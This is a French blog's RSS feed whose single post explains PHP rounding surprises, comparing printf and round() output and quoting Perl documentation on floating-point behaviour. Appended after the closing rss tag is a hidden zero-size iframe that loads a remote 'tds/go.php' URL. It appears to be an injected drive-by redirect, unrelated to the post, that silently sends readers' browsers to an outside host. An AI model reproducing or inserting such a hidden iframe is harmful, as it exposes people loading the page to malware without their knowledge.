<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cyril - Mes astuces &#187; bug</title>
	<atom:link href="http://blog.cyril.me/tag/bug/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.cyril.me</link>
	<description>Des astuces sur un peu de tout : l&#039;iPhone, Gentoo, la Wii, ...</description>
	<lastBuildDate>Thu, 02 Feb 2012 18:43:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Fonction round() et erreurs d&#8217;arrondis</title>
		<link>http://blog.cyril.me/2009/05/fonction-round-erreurs-arrondis-php-perl/</link>
		<comments>http://blog.cyril.me/2009/05/fonction-round-erreurs-arrondis-php-perl/#comments</comments>
		<pubDate>Tue, 26 May 2009 14:04:02 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[perl]]></category>
		<category><![CDATA[tout et rien]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=109</guid>
		<description><![CDATA[Les arrondis peuvent parfois réserver des surprises. En PHP, la fonction round() et sprintf renvoie parfois des résultats différents.]]></description>
			<content:encoded><![CDATA[<p>Les arrondis peuvent parfois réserver des surprises. Regardez par exemple le code suivant :</p>
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1"><span class="kw2">&lt;?php</span></div></li>
<li class="li1"><div class="de1"><span class="kw1">for</span> <span class="br0">&#40;</span><span class="re0">$i</span> = <span class="nu0">0</span>; <span class="re0">$i</span> &lt;= <span class="nu0">1</span>; <span class="re0">$i</span> += <span class="nu0">0.05</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <a href="http://www.php.net/printf"><span class="kw3">printf</span></a> <span class="br0">&#40;</span><span class="st0">&quot;%.2f %.1f %.1f<span class="es0">\n</span>&quot;</span>, <span class="re0">$i</span>, <span class="re0">$i</span>, <a href="http://www.php.net/round"><span class="kw3">round</span></a><span class="br0">&#40;</span><span class="re0">$i</span>, <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div></li>
<li class="li2"><div class="de2"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1"><span class="kw2">?&gt;</span></div></li></ol></div>
<p>Ce qui nous donne :</p>
<pre>0.00 0.0 0.0
0.05 0.1 0.1
0.10 0.1 0.1
0.15 0.2 0.2
0.20 0.2 0.2
<strong>0.25 0.2 0.3</strong>
0.30 0.3 0.3
<strong>0.35 0.3 0.4</strong>
0.40 0.4 0.4
<strong>0.45 0.4 0.5</strong>
0.50 0.5 0.5
<strong>0.55 0.5 0.6</strong>
0.60 0.6 0.6
0.65 0.7 0.7
0.70 0.7 0.7
0.75 0.8 0.8
0.80 0.8 0.8
0.85 0.9 0.9
0.90 0.9 0.9
0.95 1.0 1.0</pre>
<p>Les deux résultats sont différents !</p>
<p>L&#8217;explication, vous la trouverez dans la documentation de perl (<code>perldoc -q round</code>) :</p>
<p><em>Don&#8217;t blame Perl.  It&#8217;s the same as in C.  IEEE says we have to do this.  Perl numbers whose absolute values are integers under 2**31 (on 32 bit machines) will work pretty much like mathematical integers.  Other numbers are not guaranteed.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2009/05/fonction-round-erreurs-arrondis-php-perl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
